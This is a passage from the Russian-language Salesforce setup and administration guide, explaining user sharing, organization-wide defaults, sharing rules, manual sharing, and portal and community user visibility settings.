• При переносе записей от одного пользователя к другому правила общего доступа повторно оцениваются для
добавления или удаления доступа к перенесенным записям по мере необходимости.
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• Внесение изменений в правила общего доступа может инициировать одновременное изменение большого
количества записей. Для эффективной обработки этих изменений запрос пользователя может быть поставлен в
очередь, а после его выполнения будет отправлено электронное уведомление.

• Правила общего доступа к интересам не предоставляют автоматически доступ к данным интересов после их
преобразования в записи организации, контакта и возможности.

Пользователи портала

• Выможете создатьправиладляпредоставленияобщегодоступакбольшинству типовпользователейклиентского
портала и пользователей Salesforce. Аналогично можно создать правила общего доступа между пользователями
клиентского портала из разных организаций, если у них есть лицензия «Менеджер клиентского портала»Однако
пользователи массового портала не могут быть включены в правила общего доступа, так как они не имеют ролей
и не могут быть добавлены в общедоступные группы.

• Категория «Роли, внутренниеподчиненныеролииподчиненныеролипортала», используемаяправиламиобщего
доступа, может быть преобразована в категорию «Роли и внутренние подчиненные роли» посредством мастера
преобразования доступа пользователя портала. Более того, данный мастер позволяет преобразовывать
общедоступные папки отчетов, панелей мониторинга или документов в папки, доступные всем пользователям,
кроме пользователей портала.

Поля управляемого пакета
Если правило общего доступа на основе критериев ссылается на поле из управляемого пакета с просроченной
лицензией, к метке поля добавляется надпись (просрочено). Метка поля отображается в раскрывающемся поле на
страницеопределенияправилавменю «Настройка». Правилаобщегодоступанаосновекритериев, которыессылаются
на просроченныеполя, не подлежат перерасчету, а новые записине получают общего доступа под управлением этих
правил. Однако общий доступ к существующим записям до истечения срока действия пакета сохраняется.

СМ. ТАКЖЕ:

Правила общего доступа

Общий доступ к пользователям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Предоставленный вручную
общий доступ, порталы и
сообщества доступны в
версиях: Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функцияобщегодоступакпользователямпозволяетотображатьилискрыватьвнутренних
или внешних пользователей от других пользователей организации.

Например, чтобызапретитьрозничнымпродавцам, которыедобавленыпроизводителем
в организацию, просмотр и взаимодействие друг с другом, задайте единому параметру
для объекта «Пользователь» значение «Личный». Затем откройте доступ к указанным
продавцам с помощью правил общего доступа или настроив общий доступ вручную.

Ниже перечислены действия, доступные после включения общего доступа к
пользователям.

• Назначьте полномочие «Просмотр всех пользователей» пользователям, которым
должны быть доступны все пользователи. Данное полномочие включается
автоматически при назначении полномочия «Управление пользователями».

• Задайте единому стандартному параметру для записей пользователей значение
«Личный» или «Общедоступный: только для чтения».

• Создайте правила общего доступа к пользователям на основе принадлежности к
группе или другого критерия.

• Чтобыпредоставитьотдельнымпользователямили группамдоступ к записямпользователей, воспользуйтесьобщим
доступом, установленным вручную.
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• Определите доступность внешних пользователей на клиентских или партнерских порталах и в сообществах.

СМ. ТАКЖЕ:

Общие сведения об общем доступе к пользователям

Восстановление стандартных параметров доступности пользователей

Определение уровня доступа пользователей сообщества или портала

Общие сведения об общем доступе к пользователям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Предоставляемый вручную
общий доступ доступен в
версиях: Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте единые стандартные параметры для записей внутренних и внешних
пользователей. Затем расширьте уровень доступа посредством правил общего доступа
на основе участия в общедоступных группах, ролях или территориях, либо вручную
предоставьте другим пользователям или группам общий доступ к отдельным записям
пользователей.

При включении общего доступа к пользователям результаты поиска, списковые
представленияидругиеобластипозволяютпросматриватьдругихпользователейтолько
при наличии соответствующего уровня доступа «Чтение».

Прежде чем применить общий доступ к пользователям, просмотрите перечисленные
ниже рекомендации.

Полномочие «Просмотр всех пользователей»
Данное полномочие может быть назначено пользователям, которым требуется
уровеньдоступа «Чтение» ковсемпользователям, независимоотпараметровобщего
доступа. Полномочие «Просмотрвсехпользователей» предоставляетсяавтоматически
при назначении полномочия «Управление пользователями».

Единые стандартные параметры для записей пользователей
По умолчанию данному параметру задается значение «Личный» для внешних пользователей и «Общедоступный:
толькодлячтения»для внутреннихпользователей. Стандартныйуровеньдоступа «Личный»позволяетпользователям
просматривать и редактировать только собственные записи пользователей. Записи подчиненных в иерархии ролей
доступны для чтения.

Правила общего доступа к пользователям
Правила общего доступа к пользователям поддерживают общие рекомендации. Правила общего доступа к
пользователям опираются на участие в общедоступных группах, ролях или территориях. Каждое правило общего
доступапредоставляет участникамцелевой группыобщийдоступк участникамисходной группы. Преждечемсоздать
правила общего доступа, рекомендуем создать соответствующие общедоступные группы, роли или территории.
Пользователи наследуют уровень доступа нижестоящих пользователей в иерархии ролей.

Общий доступ вручную к записям пользователей
Общий доступ вручнуюпозволяет предоставлять отдельным пользователям доступ для чтения или редактирования,
при условии, что уровень доступа превышает стандартный доступ целевого пользователя. Пользователи наследуют
уровеньдоступанижестоящихпользователейвиерархииролей. Управляемыйобщийдоступк Apex неподдерживается.

Общий доступ к внешним пользователям
Полномочие «Управление внешними пользователями» предоставляет пользователям портала PRM, портала
обслуживанияклиентовипортала самообслуживанияклиентовдоступк записямвнешнихпользователей, независимо
отправилобщегодоступаилиединыхстандартныхпараметровдля записейпользователей. Полномочие «Управление
внешними пользователями» не предоставляет доступ к пользователям-гостям или пользователям Chatter External.

696

Общий доступНастройка и обслуживание организации Salesforce



Совместимость общего доступа к пользователям
Ниже перечисленыфункции, поддерживаемые частично, при условии, что единому стандартному параметру для
объекта «Пользователь» задано значение «Личный».

• Chatter Messenger недоступенвнешнимпользователям. Chatter Messenger доступентольковнутреннимпользователям,
приусловии, чтоединомустандартномупараметрудляобъекта «Пользователь» заданозначение «Общедоступный:
только для чтения».

• Настраиваемые прогнозы: полномочие «Просмотр всех прогнозов» позволяет пользователям просматривать
недоступных пользователей.

• Salesforce CRM Content: пользователи, которые могут создавать библиотеки, могут просматривать недоступных
пользователей при добавлении участников библиотеки.

• Типыстандартныхотчетов: некоторыеотчетынаосноветиповстандартныхотчетовсодержатданныенедоступных
пользователей. Дополнительную информацию см. в разделе «Управление доступностью стандартных отчетов».

СМ. ТАКЖЕ:

Общий доступ к пользователям

Настройка единых стандартных параметров общего доступа для записей пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартного
общего доступа:
• «Управление общим

доступом»

Преждечемпредоставитьдоступ, рекомендуемнастроитьединыестандартныепараметры
общего доступа для объекта «Пользователь».

Единому стандартному параметру общего доступа для записей пользователей может
быть задано значение «Личный» или «Общедоступный: только для чтения». Значение
«Личный»должнобытьзаданоприналичиикакминимумодногопользователя, которому
запись должна быть недоступна.

Например, организация содержит внутренних пользователей (сотрудники и торговые
агенты) и внешних пользователей (клиенты/пользователи портала), обслуживаемых
разнымиторговымиагентамиилиорганизациямипортала, ипредъявляетперечисленные
ниже требования.

• Сотрудники могут просматривать всех пользователей.

• Торговые агенты могут просматривать только сотрудников, других агентов и
собственные записи пользователей-клиентов.

• Клиенты могут просматривать только других клиентов, обслуживаемых тем же
агентом или организацией портала.

Чтобы выполнить данные требования, рекомендуем задать стандартному внешнему
доступу значение «Личный»ирасширить уровень доступа посредствомправил общего
доступа, общего доступа вручную или полномочий пользователя.

По умолчанию уровню доступа внешних пользователей задается значение «Личный».
Уровню доступа внутренних пользователей задается значение «Общедоступный: только для чтения». Чтобы изменить
единые стандартные параметры для внешнего доступа к объекту «Пользователь», выполните указанные ниже действия.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры общего доступа».

2. Нажмите кнопку «Правка» в разделе «Единые стандартные параметры».

3. Выберите нужный уровень стандартного внутреннего и внешнего доступа для записей пользователей.
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Стандартный внешний доступ должен соответствовать стандартному внутреннему доступу или быть более строгим.

4. Нажмите кнопку «Сохранить».

Пользователям предоставляется доступ для чтения к записям нижестоящих пользователей в иерархии ролей, а также
полный доступ к собственным записям пользователей.

СМ. ТАКЖЕ:

Общие сведения о внешних единых стандартных параметрах

Определение уровня доступа пользователей сообщества или портала

Общий доступ к пользователям

Создание правил общего доступа к пользователю

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Общий доступ к пользователям может быть предоставлен на основе принадлежности
к группе или на основе критериев.

Правилаобщегодоступакпользователюмогутопиратьсянаучастниковобщедоступной
группы, роли или территории, либо другой критерий (например, «Отдел» или
«Должность»). Поумолчаниюразрешаетсясоздаватьнеболее300правилобщегодоступа
к пользователю, в том числе не более 50 правил общего доступа на основе критериев.
Дополнительную информацию об увеличении данных ограничений можно получить
в компании Salesforce.

Правила общего доступа к пользователю на основе участия позволяют предоставлять
участникамгруппыобщийдоступк записямпользователей, принадлежащимучастникам
другой группы. Прежде чем создать правило общего доступа к пользователюна основе
участия, убедитесь в создании соответствующих групп.

Пользователи наследуют уровень доступа нижестоящих пользователей в иерархии
ролей.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа:
пользователь».

3. Заполнитеполе«Имяметки»ищелкнитеполе«Имяправила»дляавтоматического
заполнения.

4. Заполните поле «Описание». Данное поле содержит описание правила общего доступа. Данное поле является
дополнительным и может содержать не более 1 000 символов.

5. Выберите тип правила.

6. В зависимости от выбранного типа правила, выполните указанные ниже действия.

a. «На основе принадлежности к группе». Пользователи, являющиеся участниками группы, могут быть доступны
участникамдругой группы. Встроке «Пользователи, являющиеся участниками:» выберите категориювпервом
раскрывающемся списке и группу пользователей во втором раскрывающемся списке (или в поле поиска, если
организация использует более 200 групп, ролей или территорий).

b. «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В

698

Общий доступНастройка и обслуживание организации Salesforce



качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

7. В строке «Общий доступ с» выберите группу, которой должен быть предоставлен доступ к записямпользователей.
Выберите категорию в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке
или поле поиска.

8. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять. Данный уровень доступа позволяет

Только для чтения

просматривать целевых пользователей в списковых
представлениях, диалоговыхокнахпоискаиполяхпоиска,
а также взаимодействовать с пользователями в Chatter.

Пользователи могут просматривать и обновлять записи.Для чтения и записи

9. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Редактирование правил общего доступа к пользователю

Категории правила общего доступа

Общий доступ к пользователям

Редактирование правил общего доступа к пользователю

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа к пользователю на основе участников групп, ролей или
территорийможноредактироватьтолькопараметрыобщегодоступа. Вправилахобщего
доступа к пользователю на основе других критериев можно редактировать критерии и
параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: пользователь».

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновепринадлежностик группе, перейдитекследующему
действию. Если выбрано правило на основе критериев, укажите критерии, которым
должнысоответствоватьзаписидлядобавлениявправилообщегодоступа. Доступные
поля определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите параметры общего доступа для пользователей. Уровень «Доступ
пользователя» применяется к пользователям, которые являются участниками
общедоступных групп.
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ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общий доступ к пользователям

Предоставление общего доступа к записям пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записей
пользователей:
• «Чтение» для записей

пользователей

Модель общего доступа организации и стандартные уровни доступа к записям
пользователейопределяются администратором. Еслиединымстандартнымпараметрам
общего доступа задано значение «Личный» или «Общедоступный: только для чтения»,
то доступ к собственным записям пользователей может быть предоставлен другим
пользователям. Стандартныеуровнидоступаорганизациинемогутбытьдополнительно
ограничены.

Система позволяет предоставлять общий доступ к записям внешних пользователей
(например, внешние пользователи сообщества и пользователи клиентского или
партнерского портала). Кроме того, общий доступ к записи внутреннего пользователя
может быть предоставлен внешнему пользователю. Для просмотра и управления
сведениямиобобщемдоступенажмите кнопку «Общийдоступ»на странице сведений
опользователе. Страница «Сведенияобобщемдоступе» содержитсписокпользователей,
групп, ролей и территорий, имеющих общий доступ к записи пользователя. Ниже
перечислены действия, доступные на данной странице.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений. Чтобы изменить или удалить любое созданное представление,
выберите еговраскрывающемсясписке «Просмотр» ищелкнитессылку «Правка».

• Чтобыпредоставитьдругимпользователям, группам, ролямилитерриториямдоступ
к записи, нажмите кнопку «Добавить». Данныйметодпредоставлениядоступа также
известен как предоставление общего доступа вручную к записям пользователей.

• Чтобы изменить или удалить общий доступ, установленный вручную, щелкните ссылку «Правка» или «Удал.»
напротив нужного правила.

Администраторымогут выключатьили включатьпредоставлениеобщего доступа вручнуюк записямпользователейдля
всех пользователей.

СМ. ТАКЖЕ:

Общий доступ к пользователям

Различиямежду общимдоступом к пользователям, предоставляемымвручнуюилипосредствомнаборов для общего
доступа
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Предоставление доступа к записям пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления доступа
к собственной записи
пользователя:
• «Чтение» для

соответствующей
записи пользователя

Доступдругихпользователейк записямпользователяможетбытьпредоставленвручную.
Пользователинаследуютполномочиядоступанижестоящихпользователейвиерархии
ролей. Предоставлениедругимпользователямдоступаксобственнойзаписипользователя
даетимвозможностьвидетьстраницусведенийопользователе. Крометого, пользователь
становится видимым в результатах поиска, списковых представлениях и так далее.

Доступк записипользователя, недоступнойсогласноединымстандартнымпараметрам,
правилам общего доступа или иерархии ролей, может быть предоставлен другим
пользователям вручную. Если вы получаете доступ несколькими способами, то из
уровнейдоступа выбирается самыйвысокий. Общийдоступ кпользователяммассового
портала может быть предоставлен только вручную.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи». Щелкните имя нужного пользователя.

2. Нажмите кнопку «Общий доступ» на странице сведений о пользователе.

3. Нажмите кнопку «Добавить».

4. Выберитенужнуюгруппу, роль, территориюилипользователяизраскрывающегося
списка.

5. Чтобы выбрать нужных пользователей, добавьте их имена в список «Общий доступ
с:».

6. Выберите нужный уровень доступа к записи.

Доступные значения («Для чтения и записи» и «Только для чтения») определяются
единымистандартнымипараметрами. Выможетепредоставитьпользователямтолькоболее высокийуровеньдоступа
по сравнению со стандартным уровнем в вашей организации.

7. Нажмите кнопку «Сохранить».

8. Чтобы изменить доступ к записям, на странице пользователя «Сведения об общем доступе» щелкните
<b>«Правка»</b> или <b>«Удал.»</b>.

701

Общий доступНастройка и обслуживание организации Salesforce



Определение уровня доступа пользователей сообщества или портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки доступности
пользователя сообщества и
портала:
• «Управление общим

доступом»

Общий доступ к пользователям предоставляется автоматически при включении
сообществаиназначениилицензийпортала. После включенияобщегодоступа система
позволяетвыбратьпользователей, доступныхпользователямсообществапоумолчанию.
При использовании клиентских или партнерских порталов система также позволяет
выбирать пользователей, доступных по умолчанию. Пользователи, которые доступны
друг другу, могут взаимодействовать во всех сообществах илина порталах организации.
Например, чтобы ограничить доступ к сообществу, снимите флажок «Доступность
пользователя сообщества» и примените другиефункции общего доступа (например,
правила общего доступа, общие доступы вручную или доступ к порталу).

Стандартные параметры, выбранные для сообществ и порталов, могут различаться.

Сообщества

По умолчанию пользователи сообщества доступны всем другим внутренним и
внешним пользователям сообществ с их участием. При необходимости внешние
пользователи сообществ могут быть доступны только самим себе и своим
руководителям в иерархии ролей. Параметр поддерживает только уровень доступа
«Чтение» и применяется ко всем сообществам организации.

Иерархия ролей не позволяет наследовать доступность пользователей,
инициированную параметром «Доступность пользователя сообщества».
Менеджеруиерархииролей, который, вотличиеот своегоподчиненного, не является
участником сообщества, не предоставляется доступ к другим участникам сообщества.

Порталы

По умолчанию пользователи портала доступны другим пользователям портала той же организации. При
необходимости внешние пользователи порталов могут быть доступны только самим себе и своим руководителям в
иерархии ролей. Параметр поддерживает только уровень доступа «Чтение» и применяется ко всем порталам
организации.

Прим.: Кроме того, пользователям партнерского портала доступен менеджер канала распределения.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры общего доступа».

2. Нажмите кнопку «Правка» в разделе «Единые стандартные параметры».

3. Чтобы разрешить просмотр пользователей только самим пользователям и их руководителям, снимите флажок
«Доступностьпользователяпортала». Чтобыразрешитьпросмотрпользователейпорталавсемдругимпользователям
портала внутри той же организации, установите данныйфлажок.

4. Чтобы разрешить просмотр пользователей только самим пользователям и их руководителям, снимите флажок
«Доступность пользователя сообщества». Чтобы разрешить просмотр пользователей сообщества всем другим
пользователям сообществ, установите данныйфлажок.

Прим.: Данный параметр отображается только при использовании сообществ Salesforce.

5. Нажмите кнопку «Сохранить».

Любой из данных параметров позволяет быстро переопределить значение «Личный», заданное единому стандартному
параметру внешнего доступа к объекту «Пользователь» для пользователей сообщества или портала.
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При необходимости расширьте уровень доступа к отдельным пользователям после настройки данных стандартных
параметров.

СМ. ТАКЖЕ:

Настройка единых стандартных параметров общего доступа для записей пользователей

Создание правил общего доступа к пользователю

Управление доступностью стандартных отчетов

Общий доступ к пользователям

Управление доступностью стандартных отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки уровня
доступности стандартных
отчетов:
• «Управление общим

доступом»

Система позволяет отображать или скрывать стандартные отчеты, которые могут
содержать данные недоступных пользователей.

Системапозволяетопределятьдоступностьотчетовнаосновестандартныхтиповотчетов,
которые могут содержать данные недоступных пользователей. При первом включении
общегодоступа кпользователямсистема скрывает всеотчеты, которыесодержатданные,
принадлежащие недоступным пользователям.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Нажмите кнопку «Правка» в разделе «Единые стандартные параметры».

3. Чтобы разрешить пользователям просмотр отчетов на основе стандартных типов
отчетов, которые могут содержать данные недоступных пользователей, установите
флажок «Доступность стандартных отчетов». Чтобы скрыть данные отчеты,
снимите данныйфлажок.

4. Нажмите кнопку «Сохранить».

Еслиединомустандартномупараметрудляобъекта «Пользователь» присвоенозначение
«Личный» и установлен соответствующийфлажок, то отчет позволяет просматривать
только имена недоступных пользователей. Сведения о пользователе (например, имя
пользователяи адрес эл. почты) не отображаются. После снятияфлажка «Доступность
стандартных отчетов» пользователи с полномочием «Просмотр всех пользователей»
могут по-прежнему просматривать все отчеты на основе типов стандартных отчетов.
Кроме того, данные отчеты могут просматриваться всеми пользователями, если единому стандартному параметру для
объекта «Пользователь» задано значение «Общедоступный: только для чтения».

Важное замечание: При включении общего доступа к аналитике всем пользователям организации по умолчанию
предоставляется уровеньдоступа «Гость» кобщедоступнымпапкамотчетовипанелеймониторинга. Пользователи,
которым назначен уровень доступа «Редактор» или «Менеджер», а также пользователи с дополнительными
административнымиполномочиямимогутполучитьболееширокийдоступ. Доступкаждогопользователя кпапкам
основан на сочетании прав доступа к папке и полномочий пользователя. Чтобы скрыть все стандартные папки
отчетов при необходимости, удалите общий доступ для всех пользователей из папок. Затем снимите флажок
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«Просмотрпанелеймониторингавобщедоступныхпапках»ифлажок«Просмотротчетоввобщедоступных
папках» для профилей пользователей.

СМ. ТАКЖЕ:

Общий доступ к пользователям

Поддерживаемые типы отчетов для общего доступа к пользователям

Управление общим доступом вручную для записей пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения или
выключенияобщего доступа
вручную к записям
пользователей:
• «Управление

пользователями»

Система позволяет разрешать или запрещать пользователям предоставление другим
пользователям организации общего доступа к их собственным записям пользователей.

Системапозволяет контролироватьдоступностькнопки «Общийдоступ»настраницах
сведенийопользователях. Даннаякнопкапозволяетпользователюпредоставлятьдругим
пользователям организации доступ к собственной записи пользователя. Чтобы скрыть
или отобразить данную кнопку для всех пользователей, выполните указанные ниже
действия.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Нажмите кнопку «Правка» в разделе «Единые стандартные параметры».

3. Чтобы добавить кнопку «Общий доступ» на страницы сведений о пользователях,
установите флажок «Общий доступ вручную к записям пользователей». В
противном случае, снимите данныйфлажок.

4. Нажмите кнопку «Сохранить».

Если единому стандартному параметру для пользователей задано значение
«Общедоступный: только для чтения», то пользователи получают доступ для чтения ко
всем другим записям пользователей, могут просматривать данных пользователей в
результатах поиска и списковых представлениях, а также могут взаимодействовать с
данными пользователями в Chatter и сообществах.

Пример: Например, пользователю-партнерутребуется сотрудничествос торговым
представителем в сообществах. При снятии флажка «Доступность пользователя
сообщества» на странице «Параметрыобщегодоступа» пользователисообщества
могут быть доступны только самим себе и своимруководителям в иерархииролей.
Рекомендуем использовать общий доступ вручную для предоставления
пользователю-партнерудоступадлячтениякторговомупредставителюпосредством
кнопки «Общийдоступ»насоответствующейстраницесведенийопользователе.
Данный доступ позволяет обеим сторонам взаимодействовать и сотрудничать в
сообществах.

СМ. ТАКЖЕ:

Определение уровня доступа пользователей сообщества или портала
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Восстановление стандартных параметров доступности пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Порталы и сообщества
доступны в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для восстановления
стандартных параметров
доступности пользователей:
• «Управление общим

доступом»

Общий доступ к пользователям позволяет определять пользователей и доступных им
пользователейорганизации. Еслиобщийдоступ кпользователямиспользовалсяранее,
то система позволяет восстановить его стандартные параметры.

Чтобы восстановить стандартные параметры доступности пользователей, выполните
указанные ниже действия.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Задайте единым стандартным параметрам значения «Общедоступный: только для
чтения» для внутреннего доступа и «Личный» для внешнего доступа.

3. Предоставьте доступ к пользователям организации портала.

Установитефлажок«Доступностьпользователяпортала»настранице «Параметры
общего доступа». Данный параметр позволяет пользователям клиентского портала
просматривать других пользователей той же организации портала. Кроме того,
пользователи партнерского портала могут просматривать ответственного за
организацию портала.

4. Включите доступ к участникам сети.

Установите флажок «Доступность пользователя сообщества» на странице
«Параметрыобщегодоступа». Данныйпараметрпозволяетпросматриватьучастников
сообщества всем другим пользователям сообществ.

5. Удалите правила общего доступа к пользователям.

Щелкните ссылку «Удал.» напротив каждого доступного правила общего доступа
на странице «Параметры общего доступа».

6. Удалите доступ пользователей массового портала к записям пользователей.

Щелкните ссылку «Удал.» напротив каждого доступного набора для общего доступа на странице «Настройка
клиентского портала».

Восстановление стандартных параметров доступности предоставляет неограниченный доступ всем внутренним
пользователям, пользователям портала, принадлежащим одной организации портала, и участникам, принадлежащим
одному сообществу.

СМ. ТАКЖЕ:

Определение уровня доступа пользователей сообщества или портала

Общий доступ к пользователям
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Поддерживаемые типы отчетов для общего доступа к пользователям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчеты на основе типов стандартных отчетов могут содержать данные недоступных
пользователей.

Ниже перечислены типы отчетов, которые могут содержать данные недоступных
пользователей.

• Организации

• Ответственные за организацию

• Организации с активами

• Организации с настраиваемыми объектами

• Организации с партнерами

• Использование API

• Кампании с возможностями

• Настраиваемое прогнозирование: история прогноза

• Настраиваемое прогнозирование: прогнозы возможности

• Отчет «Возможности настраиваемого объекта со сметами»

• События с приглашенными

• Возможность

• Журнал поля возможности

• Журнал возможности

• Динамика возможности

• Возможности и подключения

• Возможности с конкурентами

• Возможности с ролями контакта

• Возможности с ролями контакта и продуктами

• Возможности с настраиваемыми объектами

• Возможности с партнерами

• Возможности с продуктами

• Возможности с продуктами и расписаниями

• Возможности со сметами и документами сметы

• Возможности со сметами и элементами строки сметы

• Возможности с группами сбыта

• Возможности с группами сбыта и продуктами

• Возможности доли

• Возможности доли с продуктами

• Возможности доли с продуктами и расписаниями

По умолчанию данные отчеты доступны пользователям только при наличии соответствующего доступа. Тем не менее,
изменениепараметровдоступапозволяетпросматриватьданныеотчетыдажеприотсутствиидоступак соответствующим
пользователям.
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Кроме того, некоторые отчеты могут отображать роль пользователя. Пользователь, которому доступна запись, но
недоступен ответственный за запись, может использовать данные отчеты для просмотра роли ответственного.

СМ. ТАКЖЕ:

Управление доступностью стандартных отчетов

Общий доступ к пользователям

Различия между общим доступом к пользователям, предоставляемым вручную или посредством
наборов для общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныеспособыобщегодоступапредоставляютдоступразнымгруппампользователей.

Приналичиифункцииобщегодоступа кпользователяморганизацияможетопределять
пользователей, которые должны быть доступны и которым должен быть предоставлен
доступ, включая внутренних и внешних пользователей. Рассматриваемые способы
общего доступа позволяют расширить уровень доступа, предоставленный едиными
стандартными параметрами и правилами общего доступа. Внешние пользователи
(например, пользователимассового портала или сообщества) не имеют ролей, поэтому
не поддерживаются правилами общего доступа.

Пример: Чтобыпредоставитьвнутреннимпользователямипользователям, которые
не являются пользователями массового портала, доступ к записи пользователя,
нажмите кнопку «Общий доступ» на странице сведений о нужном пользователе
для создания общего доступа, устанавливаемого вручную. Чтобы предоставить
пользователяммассовогопорталадоступк записямдругихпользователей, создайте
набор для общего доступа, предназначенный для порталов или сообществ.

Различия см. в таблице ниже.

Пользователи, получающие доступ

Пользователи
массового
портала2

Пользователи,
которые не
являются
пользователями

Внутренние
пользователи

массового
портала1

Набор для общего
доступа

Общий доступ,
установленный
вручную

Общий доступ,
установленный
вручную

Внутренние
пользователи

Набор для общего
доступа

Общий доступ,
установленный
вручную

Общий доступ,
установленный
вручную

Пользователи,
которые не
являются
пользователями
массового
портала
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Пользователи, получающие доступ

Набор для общего доступаОбщий доступ,
установленный вручную

Общий доступ,
установленный вручную

Пользователимассового
портала

1 Пользователем, который не является пользователем массового портала, считается внешний пользователь без
профиля пользователя массового портала.
2Пользователеммассовогопортала считается внешнийпользователь, которомуназначенодиниз профилейниже.

• Проверенный веб-узел

• Пользователь клиентского сообщества

• Пользователь входа клиентского сообщества

• Массовый клиентский портал

• Массовый портал

• Пользователь проверенного веб-узла (избыток)

• Пользователь массового клиентского портала (избыток)

СМ. ТАКЖЕ:

Общий доступ к пользователям

Предоставление общего доступа к записям пользователей

Общие сведения о наборе для общего доступа

Рекомендации по предоставлению общего доступа
Данныйраздел содержитрекомендациипоиспользованиюмоделейобщего доступа дляпредоставленияпользователям
доступа к чужим записям.

Модельобщегодоступа — этосложнаявзаимосвязьмеждуиерархиямиролей, полномочиямипользователей, правилами
общего доступа и некоторыми исключениями. Прежде чем выбрать модель общего доступа, просмотрите указанные
ниже примечания.

Исключения для общего доступа на основе иерархии ролей
Пользователимогут всегдапросматриватьиредактироватьлюбыеданные, принадлежащиеилидоступныенижестоящим
пользователям в иерархии ролей. Исключения:

• Значение единого стандартного параметра позволяет пропускать иерархии при определении доступа к данным.

• Контакты, которые не связаны с организацией, являются личными. Контакты могут быть просмотрены только
ответственными и администраторами. Правила общего доступа к контактам не применяются к личным контактам.

• Примечания и вложения, помеченныефлажком «Личный», доступны только администраторами соответствующим
авторам.

